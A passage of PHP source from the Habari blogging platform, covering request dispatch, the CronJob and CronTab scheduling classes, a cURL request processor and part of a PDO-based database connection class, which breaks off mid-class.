		foreach ( $matched_rule->named_arg_values as $named_arg_key=>$named_arg_value ) {
			$controller->handler->handler_vars[$named_arg_key] = $named_arg_value;
		}

		/* Also, we musn't forget to add the GET and POST vars into the action's settings array */
		$handler_vars = new SuperGlobal( $controller->handler->handler_vars );
		$handler_vars = $handler_vars->merge( $_GET, $_POST );
		$controller->handler->handler_vars = $handler_vars;
		return true;
	}

	/**
	 * Handle the requested action by firing off the matched handler action(s)
	 */
	public static function dispatch_request()
	{
		/* OK, set the wheels in motion... */
		Plugins::act( 'handler_' . Controller::instance()->action, Controller::get_handler_vars() );
		if ( method_exists( Controller::instance()->handler, 'act' ) ) {
			Controller::instance()->handler->act( Controller::instance()->action );
		}
	}
}

?>


code:
<?php
/**
 * @package Habari
 *
 */

/**
 * CronJob is a single cron task
 *
 * @property string $name The name of the cron job.
 * @property mixed $callback The callback function or plugin action for the cron job to execute.
 * @property HabariDateTime $start_time The time the cron job entry will begin executing.
 * @property HabariDateTime $end_time The time the cron job entry will end executing and delete.
 * @property HabariDateTime $last_run The time job was last run.
 * @property HabariDateTime $next_run The time the job will run next.
 * @property int $increment The amount of time, in seconds, between each execution.
 * @property string $result The result of the last run. Either null, 'executed', or 'failed'.
 * @property string $description The description of the cron job.
 * @property int $cron_class The type of cron job.
 * @property string $notify Not implemented.
 */
class CronJob extends QueryRecord
{
	const CRON_SYSTEM = 1;
	const CRON_THEME = 2;
	const CRON_PLUGIN = 4;
	const CRON_CUSTOM = 8;

	/**
	 * The internally stored execution time of this cronjob. (unix timestamp)
	 *
	 * @var int
	 */
	private $now;

	/**
	 * Returns the defined database columns for a cronjob.
	 *
	 * @return array Array of default columns in the crontab table
	 */
	public static function default_fields()
	{
		return array(
			'cron_id' => 0,
			'name' => '',
			'callback' => '',
			'last_run' => null,
			'next_run' => HabariDateTime::date_create(),
			'increment' => 86400, // one day
			'start_time' => HabariDateTime::date_create(),
			'end_time' => null,
			'result' => '',
			'cron_class' => self::CRON_CUSTOM,
			'description' => '',
			'notify' => '',
		);
	}

	/**
	 * Constructor for the CronJob class.
	 *
	 * @see QueryRecord::__construct()
	 * @param array $paramarray an associative array or querystring of initial field values
	 */
	public function __construct( $paramarray = array() )
	{
		$this->now = HabariDateTime::date_create();

		// Defaults
		$this->fields = array_merge(
			self::default_fields(),
			$this->fields
		);

		// maybe serialize the callback
		$paramarray = Utils::get_params( $paramarray );
		if ( isset( $paramarray['callback'] )
			&& (
				is_array( $paramarray['callback'] )
				|| is_object( $paramarray['callback'] )
			)
		) {
			$paramarray['callback'] = serialize( $paramarray['callback'] );
		}

		parent::__construct( $paramarray );
		$this->exclude_fields( 'cron_id' );
	}

	/**
	 * Runs this job.
	 *
	 * Executes the Cron Job callback. Deletes the Cron Job if end_time is reached
	 * or if it failed to execute the last # consecutive attempts. Also sends notification
	 * by email to specified address.
	 * Note: end_time can be null, ie. "The Never Ending Cron Job".
	 *
	 * Callback is passed a param_array of the Cron Job fields and the execution time
	 * as the 'now' field. The 'result' field contains the result of the last execution; either
	 * 'executed' or 'failed'.
	 *
	 * @todo delete job after # failed attempts.
	 * @todo send notification of execution/failure.
	 */
	public function execute()
	{
		$paramarray = array_merge( array( 'now' => $this->now ), $this->to_array() );

		if ( is_callable( $this->callback ) ) {
			$result = @call_user_func( $this->callback, $paramarray );
		}
		else {
			$result = true;
			$result = Plugins::filter( $this->callback, $result, $paramarray );
		}

		if ( $result === false ) {
			$this->result = 'failed';
		}
		else {
			$this->result = 'executed';

			// it ran successfully, so check if it's time to delete it.
			if ( ! is_null( $this->end_time ) && ( $this->now >= $this->end_time ) ) {
				$this->delete();
				return;
			}
		}

		$this->last_run = $this->now;
		$this->next_run = $this->now->int + $this->increment;
		$this->update();
	}

	/**
	 * Magic property setter to set the cronjob properties.
	 * Serializes the callback if needed.
	 *
	 * @see QueryRecord::__set()
	 * @param string $name The name of the property to set.
	 * @param mixed $value The value of the property to set.
	 * @return mixed The new value of the property.
	 */
	public function __set( $name, $value )
	{
		switch ( $name ) {
			case 'callback':
				if ( is_array( $value ) || is_object( $value ) ) {
					$value = serialize( $value );
				}
				break;
			case 'next_run':
			case 'last_run':
			case 'start_time':
			case 'end_time':
				if ( !( $value instanceOf HabariDateTime ) && ! is_null( $value ) ) {
					$value = HabariDateTime::date_create( $value );
				}
				break;
		}
		return parent::__set( $name, $value );
	}

	/**
	 * Magic property getter to get the cronjob properties.
	 * Unserializes the callback if called.
	 *
	 * @see QueryRecord::__get()
	 * @param string $name The name of the property to get.
	 * @return mixed The value of the property, or null if no property by that name.
	 */
	public function __get( $name )
	{
		if ( $name == 'callback' ) {
			if ( false !== $res = @ unserialize( parent::__get( $name ) ) ) {
				return $res;
			}
		}
		return parent::__get( $name );
	}

	/**
	 * Saves a new cron job to the crontab table.
	 *
	 * @see QueryRecord::insertRecord()
	 * @return CronJob The newly inserted cron job, or false if failed.
	 */
	public function insert()
	{
		return parent::insertRecord( DB::table( 'crontab' ) );
	}

	/**
	 * Updates an existing cron job to the crontab table.
	 *
	 * @see QueryRecord::updateRecord()
	 * @return CronJob The updated cron job, or false if failed.
	 */
	public function update()
	{
		return parent::updateRecord( DB::table( 'crontab' ), array( 'cron_id'=>$this->cron_id ) );
	}

	/**
	 * Deletes an existing cron job.
	 *
	 * @see QueryRecord::deleteRecord()
	 * @return bool If the delete was successful
	 */
	public function delete()
	{
		return parent::deleteRecord( DB::table( 'crontab' ), array( 'cron_id'=>$this->cron_id ) );
	}
}

?>


code:
<?php
/**
 * @package Habari
 *
 */

/**
 * Static class to build and read cron entries
 *
 */
class CronTab extends ActionHandler
{
	/**
	 * Executes all cron jobs in the DB if there are any to run.
	 *
	 * @param boolean $async If true, allows execution to continue by making an asynchronous request to a cron URL
	 */
	static function run_cron( $async = false )
	{
		// check if it's time to run crons, and if crons are already running.
		$next_cron = HabariDateTime::date_create( Options::get( 'next_cron' ) );
		$time = HabariDateTime::date_create();
		if ( ( $next_cron->int > $time->int )
			|| ( Options::get( 'cron_running' ) && Options::get( 'cron_running' ) > microtime( true ) )
			) {
			return;
		}

		// cron_running will timeout in 10 minutes
		// round cron_running to 4 decimals
		$run_time = microtime( true ) + 600;
		$run_time = sprintf( "%.4f", $run_time );
		Options::set( 'cron_running', $run_time );

		if ( $async ) {
			// Timeout is really low so that it doesn't wait for the request to finish
			$cronurl = URL::get( 'cron',
				array(
					'time' => $run_time,
					'asyncronous' => Utils::crypt( Options::get( 'GUID' ) ) )
				);
			$request = new RemoteRequest( $cronurl, 'GET', 1 );

			try {
				$request->execute();
			}
			catch ( RemoteRequest_Timeout $e ) {
				// the request timed out - we knew that would happen
			}
			catch ( Exception $e ) {
				// some other error occurred. we still don't care
			}
		}
		else {
			// @todo why do we usleep() and why don't we just call act_poll_cron()?
			usleep( 5000 );
			if ( Options::get( 'cron_running' ) != $run_time ) {
				return;
			}

			$time = HabariDateTime::date_create();
			$crons = DB::get_results(
				'SELECT * FROM {crontab} WHERE start_time <= ? AND next_run <= ?',
				array( $time->sql, $time->sql ),
				'CronJob'
				);
			if ( $crons ) {
				foreach ( $crons as $cron ) {
					$cron->execute();
				}
			}

			EventLog::log( _t( 'CronTab run completed.' ), 'debug', 'crontab', 'habari', $crons );

			// set the next run time to the lowest next_run OR a max of one day.
			$next_cron = DB::get_value( 'SELECT next_run FROM {crontab} ORDER BY next_run ASC LIMIT 1', array() );
			Options::set( 'next_cron', min( intval( $next_cron ), $time->modify( '+1 day' )->int ) );
			Options::set( 'cron_running', false );
		}
	}

	/**
	 * Handles asyncronous cron calls.
	 *
	 * @todo next_cron should be the actual next run time and update it when new
	 * crons are added instead of just maxing out at one day..
	 */
	function act_poll_cron()
	{
		Utils::check_request_method( array( 'GET', 'HEAD', 'POST' ) );

		$time = doubleval( $this->handler_vars['time'] );
		if ( $time != Options::get( 'cron_running' ) ) {
			return;
		}

		// allow script to run for 10 minutes. This only works on host with safe mode DISABLED
		if ( !ini_get( 'safe_mode' ) ) {
			set_time_limit( 600 );
		}
		$time = HabariDateTime::date_create();
		$crons = DB::get_results(
			'SELECT * FROM {crontab} WHERE start_time <= ? AND next_run <= ?',
			array( $time->sql, $time->sql ),
			'CronJob'
			);

		if ( $crons ) {
			foreach ( $crons as $cron ) {
				$cron->execute();
			}
		}

		// set the next run time to the lowest next_run OR a max of one day.
		$next_cron = DB::get_value( 'SELECT next_run FROM {crontab} ORDER BY next_run ASC LIMIT 1', array() );
		Options::set( 'next_cron', min( intval( $next_cron ), $time->modify( '+1 day' )->int ) );
		Options::set( 'cron_running', false );
	}

	/**
	 * Get a Cron Job by name or id from the Database.
	 *
	 * @param mixed $name The name or id of the cron job to retreive.
	 * @return CronJob The cron job retreived from the DB
	 */
	static function get_cronjob( $name )
	{
		if ( is_int( $name ) ) {
			$cron = DB::get_row( 'SELECT * FROM {crontab} WHERE cron_id = ?', array( $name ), 'CronJob' );
		}
		else {
			$cron = DB::get_row( 'SELECT * FROM {crontab} WHERE name = ?', array( $name ), 'CronJob' );
		}
		return $cron;
	}

	/**
	 * Delete a Cron Job by name or id from the Database.
	 *
	 * @param mixed $name The name or id of the cron job to delete.
	 * @return bool Wheather or not the delete was successfull
	 */
	static function delete_cronjob( $name )
	{
		$cron = self::get_cronjob( $name );
		if ( $cron ) {
			return $cron->delete();
		}
		return false;
	}

	/**
	 * Add a new cron job to the DB.
	 *
	 * @see CronJob
	 * @param array $paramarray A paramarray of cron job feilds.
	 */
	static function add_cron( $paramarray )
	{
		$cron = new CronJob( $paramarray );
		$result = $cron->insert();

		//If the new cron should run earlier than the others, rest next_cron to its strat time.
		$next_cron = DB::get_value( 'SELECT next_run FROM {crontab} ORDER BY next_run ASC LIMIT 1', array() );
		if ( intval( Options::get( 'next_cron' ) ) > intval( $next_cron ) ) {
			Options::set( 'next_cron', $next_cron );
		}
		return $result;
	}

	/**
	 * Add a new cron job to the DB, that runs only once.
	 *
	 * @param string $name The name of the cron job.
	 * @param mixed $callback The callback function or plugin action for the cron job to execute.
	 * @param HabariDateTime $run_time The time to execute the cron.
	 * @param string $description The description of the cron job.
	 */
	static function add_single_cron( $name, $callback, $run_time, $description = '' )
	{
		$paramarray = array(
			'name' => $name,
			'callback' => $callback,
			'start_time' => $run_time,
			'end_time' => $run_time, // only run once
			'description' => $description
		);
		return self::add_cron( $paramarray );
	}

	/**
	 * Add a new cron job to the DB, that runs hourly.
	 *
	 * @param string $name The name of the cron job.
	 * @param mixed $callback The callback function or plugin action for the cron job to execute.
	 * @param string $description The description of the cron job.
	 */
	static function add_hourly_cron( $name, $callback, $description = '' )
	{
		$paramarray = array(
			'name' => $name,
			'callback' => $callback,
			'increment' => 3600, // one hour
			'description' => $description
		);
		return self::add_cron( $paramarray );
	}

	/**
	 * Add a new cron job to the DB, that runs daily.
	 *
	 * @param string $name The name of the cron job.
	 * @param mixed $callback The callback function or plugin action for the cron job to execute.
	 * @param string $description The description of the cron job.
	 */
	static function add_daily_cron( $name, $callback, $description = '' )
	{
		$paramarray = array(
			'name' => $name,
			'callback' => $callback,
			'increment' => 86400, // one day
			'description' => $description
		);
		return self::add_cron( $paramarray );
	}

	/**
	 * Add a new cron job to the DB, that runs weekly.
	 *
	 * @param string $name The name of the cron job.
	 * @param mixed $callback The callback function or plugin action for the cron job to execute.
	 * @param string $description The description of the cron job.
	 */
	static function add_weekly_cron( $name, $callback, $description = '' )
	{
		$paramarray = array(
			'name' => $name,
			'callback' => $callback,
			'increment' => 604800, // one week (7 days)
			'description' => $description
		);
		return self::add_cron( $paramarray );
	}

	/**
	 * Add a new cron job to the DB, that runs monthly.
	 *
	 * @param string $name The name of the cron job.
	 * @param mixed $callback The callback function or plugin action for the cron job to execute.
	 * @param string $description The description of the cron job.
	 */
	static function add_monthly_cron( $name, $callback, $description = '' )
	{
		$paramarray = array(
			'name' => $name,
			'callback' => $callback,
			'increment' => 2592000, // one month (30 days)
			'description' => $description
		);
		return self::add_cron( $paramarray );
	}
}

?>


code:
<?php
/**
 * RequestProcessor using CURL.
 */
class CURLRequestProcessor extends RequestProcessor
{

	/**
	 * Temporary buffer for headers.
	 */
	private $headers = '';

	public function __construct()
	{
		if ( ini_get( 'safe_mode' ) || ini_get( 'open_basedir' ) ) {
			$this->can_followlocation = false;
		}

		if ( !defined( 'FILE_CACHE_LOCATION' ) ) {
			define( 'FILE_CACHE_LOCATION', HABARI_PATH . '/user/cache/' );
		}
	}

	public function execute( $method, $url, $headers, $body, $config )
	{
		$merged_headers = array();
		foreach ( $headers as $k => $v ) {
			$merged_headers[] = $k . ': ' . $v;
		}

		$ch = curl_init();

		$options = array(
			CURLOPT_URL				=> $url,	// The URL
			CURLOPT_HEADERFUNCTION	=> array( &$this, '_headerfunction' ), // The header of the response.
			CURLOPT_MAXREDIRS		=> $config['max_redirects'], // Maximum number of redirections to follow.
			CURLOPT_CONNECTTIMEOUT	=> $config['connect_timeout'],
			CURLOPT_TIMEOUT			=> $config['timeout'],
			CURLOPT_SSL_VERIFYPEER	=> $config['ssl']['verify_peer'],
			CURLOPT_SSL_VERIFYHOST	=> $config['ssl']['verify_host'],
			CURLOPT_BUFFERSIZE		=> $config['buffer_size'],
			CURLOPT_HTTPHEADER		=> $merged_headers,	// headers to send
			CURLOPT_FAILONERROR		=> true,		// if the status code is >= 400, fail
			CURLOPT_ENCODING		=> '',	// let curl decide which compression methods to use
		);

		if ( $this->can_followlocation && $config['follow_redirects'] ) {
			$options[CURLOPT_FOLLOWLOCATION] = true; // Follow 302's and the like.
		}

		if ( $method === 'POST' ) {
			$options[CURLOPT_POST] = true; // POST mode.
			$options[CURLOPT_POSTFIELDS] = $body;
		}
		else {
			$options[CURLOPT_CRLF] = true; // Convert UNIX newlines to \r\n
		}

		// set proxy, if needed
		$urlbits = InputFilter::parse_url( $url );
		if ( $config['proxy']['server'] && ! in_array( $urlbits['host'], $config['proxy']['exceptions'] ) ) {
			$options[CURLOPT_PROXY] = $config['proxy']['server'] . ':' . $config['proxy']['port'];	// Validation of the existence of the port should take place in the Options form
			if ( $config['proxy']['username'] ) {
				$options[CURLOPT_PROXYUSERPWD] = $config['proxy']['username'] . ':' . $config['proxy']['password'];
				switch ( $config['proxy']['auth_type'] ) {
					case 'basic':
						$options[CURLOPT_PROXYAUTH] = CURLAUTH_BASIC;
						break;
					case 'digest':
						$options[CURLOPT_PROXYAUTH] = CURLAUTH_DIGEST;
						break;
				}
			}

			// if it's a socks proxy, we have to tell curl that
			if ( $config['proxy']['type'] == 'socks' ) {
				$options[CURLOPT_PROXYTYPE] = CURLPROXY_SOCKS5;
			}
		}

		curl_setopt_array( $ch, $options );

		/**
		 * @todo Possibly find a way to generate a temp file without needing the user
		 * to set write permissions on cache directory
		 *
		 * @todo Fallback to using the the old way if the cache directory isn't writable
		 *
		 * @todo How about trying to use the system-defined temp directory? We could at least try, even if safe_mode or something breaks it. - chrismeller
		 */
		$tmp = tempnam( FILE_CACHE_LOCATION, 'RR' );
		if ( ! $tmp ) {
			throw new Exception( _t( 'CURL Error. Unable to create temporary file name.' ) );
		}

		$fh = @fopen( $tmp, 'w+b' );
		if ( ! $fh ) {
			throw new Exception( _t( 'CURL Error. Unable to open temporary file.' ) );
		}

		curl_setopt( $ch, CURLOPT_FILE, $fh );

		$success = curl_exec( $ch );

		if ( $success ) {
			rewind( $fh );
			$body = stream_get_contents( $fh );
		}
		fclose( $fh );
		unset( $fh );

		if ( isset( $tmp ) && file_exists( $tmp ) ) {
			unlink( $tmp );
		}

		if ( curl_errno( $ch ) !== 0 ) {

			// get the number and error before we close the handle so we don't error out
			$errno = curl_errno( $ch );
			$error = curl_error( $ch );

			// before we throw an exception, just to be nice
			curl_close( $ch );

			switch ( $errno ) {

				case CURLE_OPERATION_TIMEOUTED:
					// the request timed out
					throw new RemoteRequest_Timeout( $error, $errno );
					break;

				default:
					throw new Exception( _t( 'CURL Error %1$d: %2$s', array( $errno, $error ) ) );
					break;

			}

		}

		curl_close( $ch );

		$this->response_headers = $this->headers;		// really redundant now, since we could write directly to response_headers, but makes it more clear where they came from
		$this->response_body = $body;
		$this->executed = true;

		return true;
	}

	/**
	 * cURL will hand each header received by the *response* to this method, so we use it
	 * to conveniently capture them for storing in case the user wants them.
	 *
	 * @param $ch resource The cURL handle from curl_init() that is executing.
	 * @param $str string The header received from the response. Should always be a single header at a time.
	 *
	 * @return int The length of the header. Used by cURL to report the header_size returned by the curl_getinfo() method.
	 */
	public function _headerfunction( $ch, $str )
	{

		$header = trim( $str );

		// don't save blank lines we might be handed - there's usually one after the headers
		if ( $header != '' ) {

			// break the header up into field and value
			$pieces = explode( ': ', $header, 2 );

			if ( count( $pieces ) > 1 ) {
				// if the header was a key: value format, store it keyed in the array
				$this->headers[ $pieces[0] ] = $pieces[1];
			}
			else {
				// some headers (like the HTTP version in use) aren't keyed, so just store it keyed as itself
				$this->headers[ $pieces[0] ] = $pieces[0];
			}

		}

		return strlen( $str );
	}

	public function get_response_body()
	{
		if ( ! $this->executed ) {
			throw new Exception( _t( 'Unable to get response body. Request did not yet execute.' ) );
		}

		return $this->response_body;
	}

	public function get_response_headers()
	{
		if ( ! $this->executed ) {
			throw new Exception( _t( 'Unable to get response headers. Request did not yet execute.' ) );
		}

		return $this->response_headers;
	}
}

?>


code:
<?php
/**
 * @package Habari
 *
 */

/**
 * Habari DatabaseConnection Class
 *
 * Actual database connection.
 */
class DatabaseConnection
{
	private $fetch_mode = PDO::FETCH_CLASS;          // PDO Fetch mode
	private $fetch_class_name = 'QueryRecord';       // The default class name for fetching classes
	private $driver;                                 // PDO driver name
	private $keep_profile = DEBUG;                   // keep profiling and timing information?
	protected $pdo = null;                           // handle to the PDO interface
	private $pdo_statement = null;                   // handle for a PDOStatement
	private $pdo_transaction = false;                // handle for transaction status

	/**
	 * @var array tables Habari knows about
	 */
	private $tables = array(
		'blocks',
		'blocks_areas',
		'commentinfo',
		'comments',
		'crontab',
		'groups',
		'group_token_permissions',
		'log',
		'log_types',
		'object_terms',
		'object_types',
		'options',
		'post_tokens',
		'postinfo',
		'posts',
		'poststatus',
		'posttype',
		'rewrite_rules',
		'scopes',
		'sessions',
		'tags',
		'tag2post',
		'terms',
		'terminfo',
		'tokens',
		'userinfo',
		'users',
		'user_token_permissions',
		'users_groups',
		'vocabularies',
	);

	/**
	 * @var array mapping of table name -> prefixed table name
	 */
	private $sql_tables = array();
	private $sql_tables_repl = array();
	private $errors = array();                       // an array of errors related to queries
	private $profiles = array();                     // an array of query profiles

	protected $prefix = '';                          // class protected storage of the database table prefix, defaults to ''
	private $current_table;

	/**
	 * Returns the appropriate type of Connection class for the connect string passed or null on failure
	 *
	 * @param connection_string a PDO connection string
	 * @return  mixed returns appropriate DatabaseConnection child class instance or errors out if requiring the db class fails
	 */
	public static function ConnectionFactory( $connect_string )
	{
		list( $engine ) = explode( ':', $connect_string, 2 );
		require_once( HABARI_PATH . "/system/schema/{$engine}/connection.php" );
		$engine .= 'Connection';
		return new $engine();
	}

	/**
	 * Populate the table mapping.
	 *
	 * @return void
	 */
	protected function load_tables()
	{
		if ( isset( Config::get( 'db_connection' )->prefix ) ) {
			$prefix = Config::get( 'db_connection' )->prefix;
		}
		else {
			$prefix = $this->prefix;
		}
		$this->prefix = $prefix;

		// build the mapping with prefixes
		foreach ( $this->tables as $t ) {
			$this->sql_tables[$t] = $prefix . $t;
			$this->sql_tables_repl[$t] = '{' . $t . '}';
		}
	}

	/**
	 * Connect to a database server
	 *
	 * @param string $connect_string a PDO connection string
	 * @param string $db_user the database user name
	 * @param string $db_pass the database user password
	 * @return boolean true on success, false on error
	 */
	public function connect ( $connect_string, $db_user, $db_pass )
	{
		$this->pdo = @new PDO( $connect_string, $db_user, $db_pass );
		$this->pdo->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );
		$this->load_tables();
		return true;
	}

	/**
	 * Disconnect from the database server.
	 *
	 * @return boolean true
	 */
	public function disconnect()
	{
		$this->pdo = null; // this is the canonical way :o

		return true;
	}

	/**
	 * Check whether there is an existing connection to a database.
	 *
	 * @return boolean
	 */
	public function is_connected()
	{
		return ( null != $this->pdo );
	}

	/**
	 * Check whether there is a transaction underway.
	 *
	 * @return boolean
	 */
	public function in_transaction()
	{
		return $this->pdo_transaction;
	}

	/**
	 * Get the full table name for the given table.
	 *
	 * @param string $name name of the table
	 * @return string the full table name, or the original value if the table was not found
	 */
	public function table( $name )
	{
		if ( isset( $this->sql_tables[$name] ) ) {
			return $this->sql_tables[$name];
		}
		else {
			return $name;
		}
	}

	/**
	 * Adds a table to the list of tables known to Habari.  Used
	 * by Theme and Plugin classes to inform the DB class about
	 * custom tables used by the plugin
	 *
	 * @param name the table name
	 */
	public function register_table( $name )
	{
		$this->tables[] = $name;
		$this->load_tables();
	}

	/**
	 * Sets the fetch mode for return calls from PDOStatement
	 *
	 * @param mode  One of the PDO::FETCH_MODE integers
	 */
	public function set_fetch_mode( $mode )
	{
		$this->fetch_mode = $mode;
	}

	/**
	 * Sets the class to fetch, if fetch mode is PDO::FETCH_CLASS
	 *
	 * @param class_name  Name of class to create during fetch
	 */
	public function set_fetch_class( $class_name )
	{
		$this->fetch_class_name = $class_name;
	}

	/**
	 * Execute the given query on the database. Encapsulates PDO::exec.
	 * WARNING: Make sure you don't call this with a SELECT statement.
	 * PDO will buffer the results and leave your cursor dangling.
	 *
	 * @param string $query the query to run
	 * @return boolean true on success, false on error
	 */
	public function exec( $query )
	{
		// Allow plugins to modify the query
		$query = Plugins::filter( 'db_exec', $query, array() );
		// Translate the query for the database engine
		$query = $this->sql_t( $query, array() );
		// Replace braced table names in the query with their prefixed counterparts
		$query = self::filter_tables( $query );
		// Allow plugins to modify the query after it has been processed
		$query = Plugins::filter( 'db_exec_postprocess', $query, array() );

		return ( $this->pdo->exec( $query ) !== false );
	}

	/**
	 * Execute a SQL statement.
	 *
	 * @param string $query the SQL statement
	 * @param array $args values for the bound parameters
	 * @return boolean true on success, false on failure
	 */
	public function query( $query, $args = array() )
	{
		if ( $this->pdo_statement != null ) {
			$this->pdo_statement->closeCursor();
		}

		// Allow plugins to modify the query
		$query = Plugins::filter( 'query', $query, $args );
		// Translate the query for the database engine
		$query = $this->sql_t( $query, $args );
		// Replace braced table names in the query with their prefixed counterparts
		$query = self::filter_tables( $query );
		// Allow plugins to modify the query after it has been processed
		$query = Plugins::filter( 'query_postprocess', $query, $args );

		if ( $this->pdo_statement = $this->pdo->prepare( $query ) ) {
			if ( $this->fetch_mode == PDO::FETCH_CLASS ) {
				/* Try to get the result class autoloaded. */
				if ( ! class_exists( strtolower( $this->fetch_class_name ) ) ) {
					$tmp = $this->fetch_class_name;
					new $tmp();
				}
				/* Ensure that the class is actually available now, otherwise segfault happens (if we haven't died earlier anyway). */
				if ( class_exists( strtolower( $this->fetch_class_name ) ) ) {
					$this->pdo_statement->setFetchMode( PDO::FETCH_CLASS, $this->fetch_class_name, array() );
				}
				else {
					/* Die gracefully before the segfault occurs */
					echo '

' . _t( 'Attempt to fetch in class mode with a non-included class' ) . '

';
					return false;
				}
			}
			else {
				$this->pdo_statement->setFetchMode( $this->fetch_mode );
			}

			/* If we are profiling, then time the query */
			if ( $this->keep_profile ) {
				$profile = new QueryProfile( $query );
				$profile->params = $args;
				$profile->start();
			}
			if ( ! $this->pdo_statement->execute( $args ) ) {
				$this->add_error( array( 'query'=>$query,'error'=>$this->pdo_statement->errorInfo() ) );
				return false;
			}
			if ( $this->keep_profile ) {
				$profile->stop();
				$this->profiles[] = $profile;
			}
			return true;
		}
		else {
			$this->add_error( array(
				'query' => $query,
				'error' => $this->pdo->errorInfo(),
			) );
			return false;
		}
	}

	/**
	 * Execute a stored procedure
	 *
	 * @param   procedure   name of the stored procedure
	 * @param   args        arguments for the procedure
	 * @return  mixed       whatever the procedure returns...
	 * @experimental
	 * @todo  EVERYTHING... :)
	 * Implemented in child classes. Most RDBMS use ANSI-92 syntax,
	 * @todo Make sure it's MultiByte safe
	 * ( CALL procname ( param1, param2, ... ),
	 * so they return the call to here. Those that don't, handle the call individually
	 */
	public function execute_procedure( $procedure, $args = array() )
	{
		/* Local scope caching */
		$pdo = $this->pdo;
		$pdo_statement = $this->pdo_statement;

		if ( $pdo_statement != null ) {
			$pdo_statement->closeCursor();
		}

		$query = 'CALL ' . $procedure . '( ';
		if ( count( $args ) > 0 ) {
			$query .= str_repeat( '?,', count( $args ) ); // Add the placeholders
			$query = substr( $query, 0, strlen( $query ) - 1 ); // Strip the last comma
		}
		$query .= ' )';
		$query = $this->sql_t( $query, $args );

		if ( $pdo_statement = $pdo->prepare( $query ) ) {
			/* If we are profiling, then time the query */
			if ( $this->keep_profile ) {
				$profile = new QueryProfile( $query );
				$profile->start();
			}
			if ( ! $pdo_statement->execute( $args ) ) {
				$this->add_error( array( 'query'=>$query,'error'=>$pdo_statement->errorInfo() ) );
				return false;
			}
			if ( $this->keep_profile ) {
				$profile->stop();
				$this->profiles[] = $profile;
			}
			return true;
		}
		else {
			$this->add_error( array( 'query'=>$query,'error'=>$pdo_statement->errorInfo() ) );
			return false;
		}
	}

	/**
	 * Start a transaction against the RDBMS in order to wrap multiple
	 * statements in a safe ACID-compliant container
	 */
	public function begin_transaction()
	{
		if ( ! $this->pdo_transaction ) {
			$this->pdo->beginTransaction();
			$this->pdo_transaction = true;
		}
	}

	/**
	 * Rolls a currently running transaction back to the
	 * prexisting state, or, if the RDBMS supports it, whenever
	 * a savepoint was committed.
	 */
	public function rollback()
	{
		if ( $this->pdo_transaction ) {
			$this->pdo->rollBack();
			$this->pdo_transaction = false;
		}
	}

	/**
	 * Commit a currently running transaction
	 */
	public function commit()
	{
		if ( $this->pdo_transaction ) {
			$this->pdo->commit();
			$this->pdo_transaction = false;
		}
	}

	/**
	 * Returns query profiles
	 *
	 * @return  array an array of query profiles
	 */
	public function get_profiles()
	{
		return $this->profiles;
	}

	/**
	 * Adds an error to the internal collection
	 *
	 * @param   error   array( 'query'=>query, 'error'=>errorInfo )
	 */
	public function add_error( $error )
	{
		$backtrace1 = debug_backtrace();
		$backtrace = array();
		foreach ( $backtrace1 as $trace ) {
			$backtrace[] = array_intersect_key( $trace, array('file'=>1, 'line'=>1, 'function'=>1, 'class'=>1) );
		}
		$this->errors[] = array_merge( $error, array( 'backtrace'=> $backtrace ) );
	}

	/**
	 * Returns error data gathered from database connection
	 * @return array An array of error data
	 */
	public function get_errors()
	{
		return $this->errors;
	}

	/**
	 * Determines if there have been errors since the last clear_errors() call
	 * @return boolean True if there were errors, false if not
	 */
	public function has_errors()
	{
		return ( count( $this->errors ) > 0 );
	}

	/**
	 * Updates the last error pointer to simulate resetting the error array
	 */
	public function clear_errors()
	{
		$this->errors = array();
	}

	/**
	 * Returns only the last error info
	 * @return array Data for the last error
	 */
	public function get_last_error()
	{
		$error = end( $this->errors );
		return ( array( 'query'=>$error['query'], 'message'=>$error['error'][2] ) );
	}

	/**
	 * Execute a query and return the results as an array of objects
	 * @param query   the query to execute
	 * @param args    array of arguments to pass for prepared statements
	 * @param string Optional class name for row result objects
	 * @return array An array of QueryRecord or the named class each containing the row data
	 * $ary= DB::get_results( 'SELECT * FROM tablename WHERE foo= ?', array( 'fieldvalue' ), 'extendedQueryRecord' );
	 */
	public function get_results( $query, $args = array() )
	{
		if ( func_num_args() == 3 ) {
			/* Called expecting specific class return type */
			$class_name = func_get_arg( 2 );
		}
		else {
			$class_name = 'QueryRecord';
		}
		$this->set_fetch_mode( PDO::FETCH_CLASS );
		$this->set_fetch_class( $class_name );
		if ( $this->query( $query, $args ) ) {
			return $this->pdo_statement->fetchAll();
		}
		else {
			return false;
		}
	}

	/**
	 * Returns a single row (the first in a multi-result set) object for a query
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @param string Optional class name for row result object
	 * @return object A QueryRecord or an instance of the named class containing the row data
	 * $obj= DB::get_row( 'SELECT * FROM tablename WHERE foo= ?', array( 'fieldvalue' ), 'extendedQueryRecord' );
	 */
	public function get_row( $query, $args = array() )
	{
		if ( func_num_args() == 3 ) {
			/* Called expecting specific class return type */
			$class_name = func_get_arg( 2 );
		}
		else {
			$class_name = 'QueryRecord';
		}

		$this->set_fetch_mode( PDO::FETCH_CLASS );
		$this->set_fetch_class( $class_name );

		if ( $this->query( $query, $args ) ) {
			return $this->pdo_statement->fetch();
		}
		else {
			return false;
		}
	}

	/**
	 * Returns all values for a column for a query
	 *
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return array An array containing the column data
	 * $ary= DB::get_column( 'SELECT col1 FROM tablename WHERE foo= ?', array( 'fieldvalue' ) );
	 */
	public function get_column( $query, $args = array() )
	{
		if ( $this->query( $query, $args ) ) {
			return $this->pdo_statement->fetchAll( PDO::FETCH_COLUMN );
		}
		else {
			return false;
		}
	}

	/**
	 * Return a single value from the database
	 *
	 * @param string the query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return mixed a single value ( int, string )
	 */
	public function get_value( $query, $args = array() )
	{
		if ( $this->query( $query, $args ) ) {
			$result = $this->pdo_statement->fetch( PDO::FETCH_NUM );
			return $result[0];
		}
		else {
			return false;
		}
	}

	/**
	 * Returns an associative array using the first returned column as the array key and the second as the array value
	 *
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return array An array containing the associative data
	 * $ary= $dbconnection->get_keyvalue( 'SELECT keyfield, valuefield FROM tablename');
	 */
	public function get_keyvalue( $query, $args = array() )
	{
		if ( $this->query( $query, $args ) ) {
			$result = $this->pdo_statement->fetchAll( PDO::FETCH_NUM );
			$output = array();
			foreach ( $result as $item ) {
				$output[$item[0]] = $item[1];
			}
			return $output;
		}
		else {
			return false;
		}
	}

	/**
